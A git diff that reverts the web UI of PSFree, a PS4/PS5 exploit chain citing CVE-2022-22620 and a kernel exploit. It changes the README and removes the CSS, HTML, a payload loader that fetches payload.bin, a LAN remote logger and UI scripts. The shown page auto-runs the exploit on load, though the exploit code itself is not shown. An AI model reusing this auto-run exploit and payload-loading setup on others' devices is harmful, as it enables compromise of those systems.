Revert UI
This commit is contained in:
@@ -1,29 +1,13 @@
|
||||
# PSFree version 1.5.0
|
||||
|
||||
Lapse Kex ported to 9.00 - WIP
|
||||
Lapse Kex ported to 9.00 - Still WIP
|
||||
|
||||
Very fast and reliable but can KP :P
|
||||
|
||||
"Please note that this project is still in the beta phase, with stability at approximately 50%. If the exploit encounters an error, please restart the console and try again. Use this exploit at your own risk."
|
||||
|
||||
|
||||
|
||||
TODO:
|
||||
- Needs a bin loader.
|
||||
- Some performance Tweaks??.
|
||||
|
||||
|
||||
Payload Loader will look for payload.bin provided on this repo, you can swap it with another payload.
|
||||
|
||||
PR are welcome!!!
|
||||
|
||||
Credits:
|
||||
- Jhon https://github.com/janisslsm
|
||||
- SiSTR0 https://github.com/SiSTR0
|
||||
- CTN https://github.com/ctn123
|
||||
- Al-Azif https://github.com/al-azif
|
||||
- abc for PSFree webkit exploit & Lapse kernel Exploit
|
||||
- Chendochap https://github.com/ChendoChap
|
||||
- kameleonre.. for porting and chaining psfree + lapse on ps4 9.00 :P
|
||||
PR are welcome
|
||||
|
||||
PSFree is a collection of exploits for the PS4 console. The main focus of the
|
||||
repo is for the PS4 but we try to make things portable to PS5.
|
||||
@@ -32,7 +16,7 @@ repo is for the PS4 but we try to make things portable to PS5.
|
||||
* PSFree: src/psfree.mjs
|
||||
* Lapse (kernel): src/scripts/lapse.mjs
|
||||
|
||||
Developer [abc] Donation (Monero/XMR):
|
||||
Donation (Monero/XMR):
|
||||
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
|
||||
|
||||
# COPYRIGHT AND AUTHORS:
|
||||
|
||||
-242
@@ -1,242 +0,0 @@
|
||||
/*
|
||||
* PSFree Enhanced UI Styles
|
||||
* Compatible with PS4 FW 9.00 Browser
|
||||
* TODO: Optimize for PS4 display and controller navigation
|
||||
*/
|
||||
|
||||
body {
|
||||
font-family: 'Liberation Mono', monospace;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
background-color: #0d1117;
|
||||
color: #e6edf3;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 900px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.header {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
padding-bottom: 10px;
|
||||
border-bottom: 1px solid #30363d;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
margin: 0;
|
||||
color: #58a6ff;
|
||||
}
|
||||
|
||||
.header p {
|
||||
margin: 5px 0;
|
||||
color: #8b949e;
|
||||
}
|
||||
|
||||
.card {
|
||||
background-color: #161b22;
|
||||
border-radius: 6px;
|
||||
padding: 15px;
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #30363d;
|
||||
}
|
||||
|
||||
.card-title {
|
||||
margin-top: 0;
|
||||
color: #58a6ff;
|
||||
border-bottom: 1px solid #30363d;
|
||||
padding-bottom: 10px;
|
||||
}
|
||||
|
||||
.btn {
|
||||
background-color: #238636;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 8px 16px;
|
||||
border-radius: 6px;
|
||||
cursor: pointer;
|
||||
font-weight: bold;
|
||||
transition: background-color 0.2s;
|
||||
}
|
||||
|
||||
.btn:hover {
|
||||
background-color: #2ea043;
|
||||
}
|
||||
|
||||
.btn:disabled {
|
||||
background-color: #3c4043;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.btn-danger {
|
||||
background-color: #da3633;
|
||||
}
|
||||
|
||||
.btn-danger:hover {
|
||||
background-color: #f85149;
|
||||
}
|
||||
|
||||
.progress-container {
|
||||
width: 100%;
|
||||
background-color: #30363d;
|
||||
border-radius: 4px;
|
||||
margin: 10px 0;
|
||||
}
|
||||
|
||||
.progress-bar {
|
||||
height: 10px;
|
||||
background-color: #238636;
|
||||
border-radius: 4px;
|
||||
width: 0%;
|
||||
transition: width 0.3s;
|
||||
}
|
||||
|
||||
#console {
|
||||
background-color: #0d1117;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 6px;
|
||||
padding: 10px;
|
||||
height: 300px;
|
||||
overflow-y: auto;
|
||||
font-family: 'Liberation Mono', monospace;
|
||||
white-space: pre-wrap;
|
||||
color: #e6edf3;
|
||||
}
|
||||
|
||||
.status-indicator {
|
||||
display: inline-block;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
border-radius: 50%;
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.status-waiting {
|
||||
background-color: #8b949e;
|
||||
}
|
||||
|
||||
.status-running {
|
||||
background-color: #f0883e;
|
||||
}
|
||||
|
||||
.status-success {
|
||||
background-color: #56d364;
|
||||
}
|
||||
|
||||
.status-error {
|
||||
background-color: #f85149;
|
||||
}
|
||||
|
||||
.tabs {
|
||||
display: flex;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.tab {
|
||||
padding: 8px 16px;
|
||||
cursor: pointer;
|
||||
background-color: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-bottom: none;
|
||||
border-radius: 6px 6px 0 0;
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.tab.active {
|
||||
background-color: #0d1117;
|
||||
border-bottom: 1px solid #0d1117;
|
||||
position: relative;
|
||||
top: 1px;
|
||||
}
|
||||
|
||||
.tab-content {
|
||||
display: none;
|
||||
padding: 15px;
|
||||
background-color: #0d1117;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 0 6px 6px 6px;
|
||||
}
|
||||
|
||||
.tab-content.active {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.payload-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 10px;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 6px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.payload-item.selected {
|
||||
border-color: #58a6ff;
|
||||
background-color: rgba(88, 166, 255, 0.1);
|
||||
}
|
||||
|
||||
.payload-info {
|
||||
flex-grow: 1;
|
||||
margin-left: 10px;
|
||||
}
|
||||
|
||||
.tooltip {
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
.tooltip .tooltip-text {
|
||||
visibility: hidden;
|
||||
width: 200px;
|
||||
background-color: #30363d;
|
||||
color: #e6edf3;
|
||||
text-align: center;
|
||||
border-radius: 6px;
|
||||
padding: 5px;
|
||||
position: absolute;
|
||||
z-index: 1;
|
||||
bottom: 125%;
|
||||
left: 50%;
|
||||
margin-left: -100px;
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s;
|
||||
}
|
||||
|
||||
.tooltip:hover .tooltip-text {
|
||||
visibility: visible;
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
/* PS4 specific optimizations */
|
||||
@media screen and (max-width: 1920px) and (max-height: 1080px) {
|
||||
.container {
|
||||
max-width: 1600px;
|
||||
}
|
||||
|
||||
#console {
|
||||
height: 400px;
|
||||
}
|
||||
|
||||
.btn {
|
||||
padding: 12px 24px;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.tab {
|
||||
padding: 12px 24px;
|
||||
font-size: 18px;
|
||||
}
|
||||
}
|
||||
|
||||
/* Focus styles for controller navigation */
|
||||
.btn:focus, .tab:focus, .payload-item:focus {
|
||||
outline: 3px solid #58a6ff;
|
||||
}
|
||||
|
||||
/* Highlight the currently focused element for controller navigation */
|
||||
.controller-focus {
|
||||
outline: 3px solid #58a6ff !important;
|
||||
box-shadow: 0 0 10px rgba(88, 166, 255, 0.5);
|
||||
}
|
||||
+14
-101
@@ -15,115 +15,28 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
-->
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>PSFree v1.5.0 - PS4/PS5 Exploit</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="css/styles.css">
|
||||
<meta charset='utf-8'>
|
||||
<title>PSFree-Lapse Exploit For 9.00</title>
|
||||
<style>
|
||||
@font-face {
|
||||
font-family: 'Liberation Mono';
|
||||
font-family: 'logging';
|
||||
src: url('fonts/LiberationMono-Regular.ttf');
|
||||
}
|
||||
#console {
|
||||
font-family: 'logging';
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="header">
|
||||
<h1>PSFree v1.5.0</h1>
|
||||
<p>PS4/PS5 Exploit Chain</p>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2 class="card-title">Status</h2>
|
||||
<div id="status-container">
|
||||
<p><span class="status-indicator status-running" id="status-icon"></span> <span id="status-text">Running exploit...</span></p>
|
||||
<div class="progress-container">
|
||||
<div class="progress-bar" id="progress-bar"></div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Run exploit and reset buttons removed -->
|
||||
</div>
|
||||
|
||||
<div class="tabs">
|
||||
<div class="tab active" data-tab="console">Console</div>
|
||||
<!-- Payloads and settings tabs removed -->
|
||||
</div>
|
||||
|
||||
<div class="tab-content active" id="tab-console">
|
||||
<pre id="console"></pre>
|
||||
</div>
|
||||
|
||||
<!-- Payloads and settings tabs removed -->
|
||||
|
||||
<!-- Info content moved below console -->
|
||||
<div class="card" style="margin-top: 20px;">
|
||||
<h2 class="card-title">About PSFree</h2>
|
||||
<p>PSFree is an exploit chain for PS4 and PS5.</p>
|
||||
<p>Current version: <strong>1.5.0</strong></p>
|
||||
<p>Supported firmware:</p>
|
||||
<ul>
|
||||
<li>PS4: 5.00 - 12.50</li>
|
||||
<li>PS5: 1.00 - 10.20</li>
|
||||
</ul>
|
||||
<p>PSFree uses:</p>
|
||||
<ul>
|
||||
<li>WebKit exploit (CVE-2022-22620)</li>
|
||||
<li>Lapse kernel exploit</li>
|
||||
</ul>
|
||||
<p>See <a href="./about.html" data-jslicense="1">JavaScript license info</a> for source code and license details.</p>
|
||||
<p>Donations (Monero/XMR):<br>
|
||||
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS</p>
|
||||
</div>
|
||||
|
||||
<div class="card" style="margin-top: 20px;">
|
||||
<h2 class="card-title">Quick Guide</h2>
|
||||
<ol>
|
||||
<li>Open this page in the PS4 browser</li>
|
||||
<li>The exploit will run automatically</li>
|
||||
<li>Wait for the process to complete</li>
|
||||
<li>If successful, the payload will run automatically</li>
|
||||
</ol>
|
||||
<p><strong>Note:</strong> If a Kernel Panic occurs, power off the console (do not restart) and try again.</p>
|
||||
<p><strong>Important:</strong> This website uses the default payload located in the root folder.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="js/remote-logger.js"></script>
|
||||
<script src="js/payload-manager.js"></script>
|
||||
<script src="js/ui.js"></script>
|
||||
<script src="payload.js"></script>
|
||||
<script>
|
||||
// Initialize Remote Logger
|
||||
document.addEventListener('DOMContentLoaded', function() {
|
||||
// Try to get server IP from URL parameter
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
const serverIp = urlParams.get('server');
|
||||
|
||||
// Logger configuration
|
||||
const loggerConfig = {
|
||||
enabled: true,
|
||||
localConsole: true
|
||||
};
|
||||
|
||||
// If a server parameter is present, use it
|
||||
if (serverIp) {
|
||||
loggerConfig.serverUrl = `http://${serverIp}:3000`;
|
||||
}
|
||||
|
||||
// Initialize logger
|
||||
window.RemoteLogger.init(loggerConfig);
|
||||
|
||||
// Log browser info
|
||||
window.RemoteLogger.info('PSFree initialized', {
|
||||
userAgent: navigator.userAgent,
|
||||
url: window.location.href,
|
||||
timestamp: new Date().toISOString()
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script type="module" src="./alert.mjs"></script>
|
||||
PSFree: A PS4/PS5 Exploit Chain<br>
|
||||
Donation (Monero/XMR):<br>
|
||||
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS<br>
|
||||
See <a href='./about.html' data-jslicense='1'>JavaScript license information</a> for the
|
||||
source code and license.<br>
|
||||
<pre id='console'></pre>
|
||||
</body>
|
||||
<script src="payload.js"></script>
|
||||
<script type='module' src='./alert.mjs'></script>
|
||||
</html>
|
||||
|
||||
@@ -1,124 +0,0 @@
|
||||
/**
|
||||
* PSFree Payload Manager
|
||||
* Compatible with PS4 FW 9.00 Browser
|
||||
* TODO: Add support for multiple payloads and payload verification
|
||||
*/
|
||||
|
||||
// Global state for payloads
|
||||
window.payloadState = {
|
||||
defaultPayload: null,
|
||||
customPayloads: {},
|
||||
selectedPayload: 'payload.bin'
|
||||
};
|
||||
|
||||
// Function to load the default payload
|
||||
function loadDefaultPayload() {
|
||||
console.log('Loading default payload...');
|
||||
|
||||
fetch('./payload.bin')
|
||||
.then(response => {
|
||||
if (!response.ok) {
|
||||
throw new Error('Failed to load default payload');
|
||||
}
|
||||
return response.arrayBuffer();
|
||||
})
|
||||
.then(arrayBuffer => {
|
||||
window.payloadState.defaultPayload = new Uint32Array(arrayBuffer);
|
||||
window.pld = window.payloadState.defaultPayload; // For backward compatibility
|
||||
console.log('Default payload loaded successfully');
|
||||
|
||||
// Dispatch event for UI to update
|
||||
document.dispatchEvent(new CustomEvent('payloadLoaded', {
|
||||
detail: {
|
||||
name: 'payload.bin',
|
||||
size: arrayBuffer.byteLength
|
||||
}
|
||||
}));
|
||||
})
|
||||
.catch(error => {
|
||||
console.error('Error loading default payload:', error);
|
||||
|
||||
// Dispatch event for UI to update
|
||||
document.dispatchEvent(new CustomEvent('payloadError', {
|
||||
detail: {
|
||||
name: 'payload.bin',
|
||||
error: error.message
|
||||
}
|
||||
}));
|
||||
});
|
||||
}
|
||||
|
||||
// Function to load a custom payload
|
||||
function loadCustomPayload(name, arrayBuffer) {
|
||||
console.log(`Loading custom payload: ${name}`);
|
||||
|
||||
try {
|
||||
const payload = new Uint32Array(arrayBuffer);
|
||||
window.payloadState.customPayloads[name] = payload;
|
||||
|
||||
console.log(`Custom payload "${name}" loaded successfully`);
|
||||
|
||||
// Dispatch event for UI to update
|
||||
document.dispatchEvent(new CustomEvent('customPayloadLoaded', {
|
||||
detail: {
|
||||
name: name,
|
||||
size: arrayBuffer.byteLength
|
||||
}
|
||||
}));
|
||||
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.error(`Error loading custom payload "${name}":`, error);
|
||||
|
||||
// Dispatch event for UI to update
|
||||
document.dispatchEvent(new CustomEvent('payloadError', {
|
||||
detail: {
|
||||
name: name,
|
||||
error: error.message
|
||||
}
|
||||
}));
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to select a payload
|
||||
function selectPayload(name) {
|
||||
console.log(`Selecting payload: ${name}`);
|
||||
|
||||
if (name === 'payload.bin') {
|
||||
if (window.payloadState.defaultPayload) {
|
||||
window.pld = window.payloadState.defaultPayload;
|
||||
window.payloadState.selectedPayload = name;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
} else if (window.payloadState.customPayloads[name]) {
|
||||
window.pld = window.payloadState.customPayloads[name];
|
||||
window.payloadState.selectedPayload = name;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// Function to get the currently selected payload
|
||||
function getSelectedPayload() {
|
||||
const name = window.payloadState.selectedPayload;
|
||||
|
||||
if (name === 'payload.bin') {
|
||||
return window.payloadState.defaultPayload;
|
||||
} else {
|
||||
return window.payloadState.customPayloads[name];
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize by loading the default payload
|
||||
loadDefaultPayload();
|
||||
|
||||
// Export functions to window for access from other scripts
|
||||
window.payloadManager = {
|
||||
loadCustomPayload,
|
||||
selectPayload,
|
||||
getSelectedPayload
|
||||
};
|
||||
@@ -1,336 +0,0 @@
|
||||
/**
|
||||
* PSFree Remote Logger
|
||||
*
|
||||
* Remote logging system for PSFree that sends logs to a local server
|
||||
* to monitor exploit progress in real-time.
|
||||
*
|
||||
* TODO: Add automatic reconnect feature if the connection is lost
|
||||
*/
|
||||
|
||||
// Logger configuration
|
||||
const RemoteLogger = {
|
||||
// Server configuration
|
||||
config: {
|
||||
// Logging server URL (replace with your computer's IP)
|
||||
serverUrl: 'http://192.168.1.100:3000',
|
||||
// Whether logging is enabled
|
||||
enabled: true,
|
||||
// Whether to also print logs to the local console
|
||||
localConsole: true,
|
||||
// Minimum log level to be sent (0=DEBUG, 1=INFO, 2=WARN, 3=ERROR)
|
||||
minLevel: 0,
|
||||
// Unique ID for this logging session
|
||||
sessionId: generateSessionId(),
|
||||
// Device information
|
||||
deviceInfo: {
|
||||
userAgent: navigator.userAgent,
|
||||
firmware: detectFirmware(),
|
||||
timestamp: new Date().toISOString()
|
||||
},
|
||||
// Buffer to store logs if connection is lost
|
||||
logBuffer: [],
|
||||
// Maximum buffer size
|
||||
maxBufferSize: 100,
|
||||
// Connection status
|
||||
connected: false
|
||||
},
|
||||
|
||||
// Log levels
|
||||
LEVEL: {
|
||||
DEBUG: 0,
|
||||
INFO: 1,
|
||||
WARN: 2,
|
||||
ERROR: 3
|
||||
},
|
||||
|
||||
// Initialize the logger
|
||||
init: function(customConfig = {}) {
|
||||
// Merge default config with custom config
|
||||
this.config = { ...this.config, ...customConfig };
|
||||
|
||||
// Try to auto-detect server IP if not configured
|
||||
if (this.config.serverUrl === 'http://192.168.1.100:3000') {
|
||||
this.autoDetectServerIp();
|
||||
}
|
||||
|
||||
// Send session info to the server
|
||||
this.sendSessionInfo();
|
||||
|
||||
// Override the original console.log function
|
||||
this.overrideConsoleLog();
|
||||
|
||||
// Initialization log
|
||||
this.info('Remote Logger initialized', {
|
||||
config: {
|
||||
serverUrl: this.config.serverUrl,
|
||||
sessionId: this.config.sessionId,
|
||||
deviceInfo: this.config.deviceInfo
|
||||
}
|
||||
});
|
||||
|
||||
return this;
|
||||
},
|
||||
|
||||
// Try to auto-detect server IP
|
||||
autoDetectServerIp: function() {
|
||||
// List of commonly used IPs in local networks
|
||||
const commonIps = [
|
||||
'http://192.168.1.100:3000',
|
||||
'http://192.168.1.101:3000',
|
||||
'http://192.168.1.102:3000',
|
||||
'http://192.168.1.103:3000',
|
||||
'http://192.168.1.104:3000',
|
||||
'http://192.168.1.105:3000',
|
||||
'http://192.168.0.100:3000',
|
||||
'http://192.168.0.101:3000',
|
||||
'http://192.168.0.102:3000',
|
||||
'http://192.168.0.103:3000',
|
||||
'http://192.168.0.104:3000',
|
||||
'http://192.168.0.105:3000',
|
||||
'http://10.0.0.100:3000',
|
||||
'http://10.0.0.101:3000',
|
||||
'http://10.0.0.102:3000'
|
||||
];
|
||||
|
||||
// Try pinging each IP to find an active server
|
||||
for (const ip of commonIps) {
|
||||
fetch(`${ip}/ping`, {
|
||||
method: 'GET',
|
||||
mode: 'no-cors',
|
||||
cache: 'no-cache',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
timeout: 500
|
||||
})
|
||||
.then(() => {
|
||||
// If successful, use this IP
|
||||
this.config.serverUrl = ip;
|
||||
this.info(`Server found at ${ip}`);
|
||||
})
|
||||
.catch(() => {
|
||||
// If failed, try the next IP
|
||||
});
|
||||
}
|
||||
},
|
||||
|
||||
// Send session info to the server
|
||||
sendSessionInfo: function() {
|
||||
if (!this.config.enabled) return;
|
||||
|
||||
// Create URL with query parameters to avoid CORS issues with body
|
||||
const sessionData = {
|
||||
sessionId: this.config.sessionId,
|
||||
deviceInfo: JSON.stringify(this.config.deviceInfo),
|
||||
timestamp: new Date().toISOString()
|
||||
};
|
||||
|
||||
// Create query string from data
|
||||
const queryString = Object.keys(sessionData)
|
||||
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(sessionData[key])}`)
|
||||
.join('&');
|
||||
|
||||
// Send request using GET method and query parameters
|
||||
fetch(`${this.config.serverUrl}/session?${queryString}`, {
|
||||
method: 'GET',
|
||||
mode: 'no-cors',
|
||||
cache: 'no-cache'
|
||||
})
|
||||
.then(() => {
|
||||
this.config.connected = true;
|
||||
|
||||
// Success log
|
||||
if (this.config.localConsole) {
|
||||
console.log(`Connected to logging server at ${this.config.serverUrl}`);
|
||||
console.log(`Session ID: ${this.config.sessionId}`);
|
||||
}
|
||||
|
||||
// Send logs stored in buffer
|
||||
this.flushBuffer();
|
||||
})
|
||||
.catch(error => {
|
||||
this.config.connected = false;
|
||||
if (this.config.localConsole) {
|
||||
console.error('Failed to connect to logging server:', error);
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
// Override the original console.log functions
|
||||
overrideConsoleLog: function() {
|
||||
const originalLog = console.log;
|
||||
const originalWarn = console.warn;
|
||||
const originalError = console.error;
|
||||
const self = this;
|
||||
|
||||
console.log = function(...args) {
|
||||
if (self.config.localConsole) {
|
||||
originalLog.apply(console, args);
|
||||
}
|
||||
|
||||
self.debug(args.map(arg => {
|
||||
if (typeof arg === 'object') {
|
||||
return JSON.stringify(arg);
|
||||
}
|
||||
return arg;
|
||||
}).join(' '));
|
||||
};
|
||||
|
||||
console.warn = function(...args) {
|
||||
if (self.config.localConsole) {
|
||||
originalWarn.apply(console, args);
|
||||
}
|
||||
|
||||
self.warn(args.map(arg => {
|
||||
if (typeof arg === 'object') {
|
||||
return JSON.stringify(arg);
|
||||
}
|
||||
return arg;
|
||||
}).join(' '));
|
||||
};
|
||||
|
||||
console.error = function(...args) {
|
||||
if (self.config.localConsole) {
|
||||
originalError.apply(console, args);
|
||||
}
|
||||
|
||||
self.error(args.map(arg => {
|
||||
if (typeof arg === 'object') {
|
||||
return JSON.stringify(arg);
|
||||
}
|
||||
return arg;
|
||||
}).join(' '));
|
||||
};
|
||||
},
|
||||
|
||||
// Send log to server
|
||||
sendLog: function(level, message, data = {}) {
|
||||
if (!this.config.enabled || level < this.config.minLevel) return;
|
||||
|
||||
const logEntry = {
|
||||
sessionId: this.config.sessionId,
|
||||
timestamp: new Date().toISOString(),
|
||||
level: level,
|
||||
levelName: Object.keys(this.LEVEL).find(key => this.LEVEL[key] === level),
|
||||
message: message,
|
||||
data: JSON.stringify(data)
|
||||
};
|
||||
|
||||
// If not connected, save to buffer
|
||||
if (!this.config.connected) {
|
||||
this.bufferLog(logEntry);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create query string from log data
|
||||
const queryString = Object.keys(logEntry)
|
||||
.map(key => `${encodeURIComponent(key)}=${encodeURIComponent(logEntry[key])}`)
|
||||
.join('&');
|
||||
|
||||
// Send log to server using GET method
|
||||
fetch(`${this.config.serverUrl}/log?${queryString}`, {
|
||||
method: 'GET',
|
||||
mode: 'no-cors',
|
||||
cache: 'no-cache'
|
||||
})
|
||||
.catch(error => {
|
||||
this.config.connected = false;
|
||||
this.bufferLog(logEntry);
|
||||
if (this.config.localConsole) {
|
||||
console.error('Failed to send log to server:', error);
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
// Save log in buffer if connection is lost
|
||||
bufferLog: function(logEntry) {
|
||||
this.config.logBuffer.push(logEntry);
|
||||
|
||||
// If buffer is too large, remove oldest logs
|
||||
if (this.config.logBuffer.length > this.config.maxBufferSize) {
|
||||
this.config.logBuffer.shift();
|
||||
}
|
||||
},
|
||||
|
||||
// Send all buffered logs
|
||||
flushBuffer: function() {
|
||||
if (!this.config.connected || this.config.logBuffer.length === 0) return;
|
||||
|
||||
for (const log of this.config.logBuffer) {
|
||||
this.sendLog(log.level, log.message, log.data ? JSON.parse(log.data) : {});
|
||||
}
|
||||
|
||||
this.config.logBuffer = [];
|
||||
},
|
||||
|
||||
// Logging functions
|
||||
debug: function(message, data = {}) {
|
||||
this.sendLog(this.LEVEL.DEBUG, message, data);
|
||||
},
|
||||
|
||||
info: function(message, data = {}) {
|
||||
this.sendLog(this.LEVEL.INFO, message, data);
|
||||
},
|
||||
|
||||
warn: function(message, data = {}) {
|
||||
this.sendLog(this.LEVEL.WARN, message, data);
|
||||
},
|
||||
|
||||
error: function(message, data = {}) {
|
||||
this.sendLog(this.LEVEL.ERROR, message, data);
|
||||
},
|
||||
|
||||
// Log exploit stage
|
||||
logStage: function(stage, percent, details = {}) {
|
||||
this.info(`STAGE: ${stage}`, {
|
||||
stage: stage,
|
||||
percent: percent,
|
||||
details: details
|
||||
});
|
||||
|
||||
// Dispatch event for UI
|
||||
document.dispatchEvent(new CustomEvent('exploitProgress', {
|
||||
detail: {
|
||||
stage: stage,
|
||||
percent: percent
|
||||
}
|
||||
}));
|
||||
}
|
||||
};
|
||||
|
||||
// Function to generate unique session ID
|
||||
function generateSessionId() {
|
||||
return 'xxxx-xxxx-xxxx-xxxx'.replace(/[x]/g, () => {
|
||||
const r = Math.random() * 16 | 0;
|
||||
return r.toString(16);
|
||||
});
|
||||
}
|
||||
|
||||
// Function to detect firmware
|
||||
function detectFirmware() {
|
||||
const userAgent = navigator.userAgent;
|
||||
let firmware = null;
|
||||
|
||||
// Detect PS4 firmware
|
||||
const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
|
||||
if (ps4Match && ps4Match[1]) {
|
||||
firmware = {
|
||||
console: 'PS4',
|
||||
version: ps4Match[1]
|
||||
};
|
||||
}
|
||||
|
||||
// Detect PS5 firmware
|
||||
const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
|
||||
if (ps5Match && ps5Match[1]) {
|
||||
firmware = {
|
||||
console: 'PS5',
|
||||
version: ps5Match[1]
|
||||
};
|
||||
}
|
||||
|
||||
return firmware;
|
||||
}
|
||||
|
||||
// Export RemoteLogger to window
|
||||
window.RemoteLogger = RemoteLogger;
|
||||
@@ -1,449 +0,0 @@
|
||||
/**
|
||||
* PSFree Enhanced UI
|
||||
* Compatible with PS4 FW 9.00 Browser
|
||||
* TODO: Implement controller navigation and optimize for PS4 display
|
||||
*/
|
||||
|
||||
// Status constants
|
||||
const STATUS = {
|
||||
WAITING: 'waiting',
|
||||
RUNNING: 'running',
|
||||
SUCCESS: 'success',
|
||||
ERROR: 'error'
|
||||
};
|
||||
|
||||
// Global state
|
||||
let state = {
|
||||
status: STATUS.RUNNING, // Changed from WAITING to RUNNING because it auto-runs
|
||||
progress: 0,
|
||||
selectedPayload: 'payload.bin', // Always uses the default payload
|
||||
customPayloads: [],
|
||||
settings: {
|
||||
autoRun: true, // Changed to true for auto-run
|
||||
verboseLogging: false,
|
||||
safeMode: true
|
||||
},
|
||||
controllerNavigation: {
|
||||
enabled: false,
|
||||
currentFocusIndex: 0,
|
||||
focusableElements: []
|
||||
}
|
||||
};
|
||||
|
||||
// TODO: Exploit will run automatically when the page loads
|
||||
|
||||
// Original console.log function
|
||||
const originalLog = console.log;
|
||||
|
||||
// Override console.log to also update the UI
|
||||
console.log = function(...args) {
|
||||
// Call original console.log
|
||||
originalLog.apply(console, args);
|
||||
|
||||
// Update UI console
|
||||
const message = args.map(arg => {
|
||||
if (typeof arg === 'object') {
|
||||
return JSON.stringify(arg);
|
||||
}
|
||||
return arg;
|
||||
}).join(' ');
|
||||
|
||||
appendToConsole(message);
|
||||
};
|
||||
|
||||
// Function to append text to the console
|
||||
function appendToConsole(text) {
|
||||
const consoleElement = document.getElementById('console');
|
||||
if (consoleElement) {
|
||||
consoleElement.textContent += text + '\n';
|
||||
consoleElement.scrollTop = consoleElement.scrollHeight;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to clear the console
|
||||
function clearConsole() {
|
||||
const consoleElement = document.getElementById('console');
|
||||
if (consoleElement) {
|
||||
consoleElement.textContent = '';
|
||||
}
|
||||
}
|
||||
|
||||
// Function to update the UI status
|
||||
function updateStatus(status, message) {
|
||||
state.status = status;
|
||||
|
||||
const statusIcon = document.getElementById('status-icon');
|
||||
const statusText = document.getElementById('status-text');
|
||||
|
||||
if (!statusIcon || !statusText) return;
|
||||
|
||||
// Remove all status classes
|
||||
statusIcon.classList.remove('status-waiting', 'status-running', 'status-success', 'status-error');
|
||||
|
||||
// Add the appropriate class
|
||||
statusIcon.classList.add(`status-${status}`);
|
||||
|
||||
// Update the status text
|
||||
statusText.textContent = message;
|
||||
|
||||
// TODO: Exploit run and reset buttons have been removed
|
||||
}
|
||||
|
||||
// Function to update the progress bar
|
||||
function updateProgress(percent) {
|
||||
state.progress = percent;
|
||||
const progressBar = document.getElementById('progress-bar');
|
||||
if (progressBar) {
|
||||
progressBar.style.width = `${percent}%`;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to handle tab switching
|
||||
function switchTab(tabId) {
|
||||
// Hide all tab contents
|
||||
document.querySelectorAll('.tab-content').forEach(content => {
|
||||
content.classList.remove('active');
|
||||
});
|
||||
|
||||
// Deactivate all tabs
|
||||
document.querySelectorAll('.tab').forEach(tab => {
|
||||
tab.classList.remove('active');
|
||||
});
|
||||
|
||||
// Activate the selected tab and content
|
||||
const tabContent = document.getElementById(`tab-${tabId}`);
|
||||
const tabElement = document.querySelector(`.tab[data-tab="${tabId}"]`);
|
||||
|
||||
if (tabContent && tabElement) {
|
||||
tabContent.classList.add('active');
|
||||
tabElement.classList.add('active');
|
||||
}
|
||||
}
|
||||
|
||||
// Function to add a custom payload
|
||||
function addCustomPayload(name, data) {
|
||||
const payloadList = document.getElementById('payload-list');
|
||||
if (!payloadList) return;
|
||||
|
||||
// Create a new payload item
|
||||
const payloadItem = document.createElement('div');
|
||||
payloadItem.className = 'payload-item';
|
||||
payloadItem.dataset.payload = name;
|
||||
payloadItem.setAttribute('tabindex', '0'); // Make focusable for controller navigation
